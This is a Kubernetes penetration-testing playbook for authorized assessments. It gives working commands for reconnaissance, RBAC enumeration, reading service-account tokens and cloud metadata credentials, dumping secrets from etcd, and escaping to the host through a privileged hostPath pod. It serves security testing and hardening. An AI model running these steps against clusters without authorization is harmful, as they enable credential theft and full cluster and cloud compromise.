Performing Kubernetes Penetration Testing

Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

When to Use

• When conducting security assessments that involve performing kubernetes penetration testing
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Most Often Missed & How to Confirm

Automated scanners (kube-hunter/kubescape) report what they can reach unauthenticated and stop there. The highest-impact paths usually need a few manual probes:

• In-pod service account token: from any compromised pod, read /var/run/secrets/kubernetes.io/serviceaccount/token and ca.crt, then hit https://kubernetes.default.svc with it. Most testers stop at "got a shell" and never test what that SA can do (kubectl auth can-i --list).
• Cloud metadata / IMDS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ (IMDSv1) or the GCP/Azure equivalents from inside a pod - node IAM creds are a common cluster-to-cloud pivot that NetworkPolicy often fails to block.
• Privileged/hostPath pod escape: if RBAC allows create pods, deploy a privileged/hostPID/hostPath-/ pod and chroot /host - escape is possible even without node SSH.
• Kubelet 10250 and read-only 10255: curl -k https://<node>:10250/pods and /run/<ns>/<pod>/<container> for unauth exec; check 10255 for info disclosure.
• etcd 2379 unauthenticated: try etcdctl get /registry/secrets --prefix --keys-only - direct secret extraction bypassing the API server and RBAC.

Confirm a hit with a positive signal: a real finding returns attacker-usable data - an actual secret value, a 200 listing pods/namespaces, working cloud creds, or a shell on the host - not just a non-403. Do not conclude negative until you've tried the in-pod token, IMDS, kubelet 10250/10255, etcd 2379, and an authenticated kubectl auth can-i enumeration; an anonymous 403 on the API server does not mean the pod's own SA is unprivileged.

Prerequisites

• Authorized penetration testing engagement
• Kubernetes cluster access (various levels for different test scenarios)
• kube-hunter, kubescape, kube-bench installed
• kubectl configured
• Network access to cluster components

Core Concepts

Kubernetes Attack Surface

MITRE ATT&CK for Kubernetes

Workflow

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

• kube-hunter - Kubernetes Penetration Testing
• Kubescape - Kubernetes Security Platform
• kube-bench - CIS Benchmark
• MITRE ATT&CK Containers Matrix
• Kubernetes Threat Matrix - Microsoft